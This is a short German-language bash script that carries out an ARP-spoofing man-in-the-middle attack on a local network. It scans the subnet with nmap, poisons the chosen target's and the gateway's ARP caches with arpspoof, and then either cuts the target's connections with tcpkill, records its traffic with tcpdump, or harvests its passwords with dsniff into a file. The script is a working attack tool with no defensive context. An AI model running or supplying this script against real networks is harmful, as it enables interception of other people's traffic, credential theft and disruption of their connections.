#!/usr/bin/env bash set -ex if [[ $EUID -ne 0 ]]; then echo "This script must be run as root" 1>&2 sudo $0 exit 0 fi echo 1 > /proc/sys/net/ipv4/ip_forward gateway=$(ip route show | grep dev -m1 | cut -d" " -f 3 ) if [ -z "$1" ]; then ip link read -p "Wie heisst die Schnittstelle? [enp4s0\eth0] : " modul else modul="$1" fi if [ -z "$2" ]; then nmap -v -sn ${gateway}/24 read -p "Wie heisst die IP? : " ip else ip="$2" fi arpspoof -i $modul -t $ip -r $gateway & sleep 2 if [ -z "$3" ] || [ "$3" == "tcpkill" ]; then tcpkill -9 host $ip elif [ "$3" == "tcpdump" ]; then tcpdump -i $modul -A host $ip > out.txt else dsniff -i $modul -mc > out.txt fi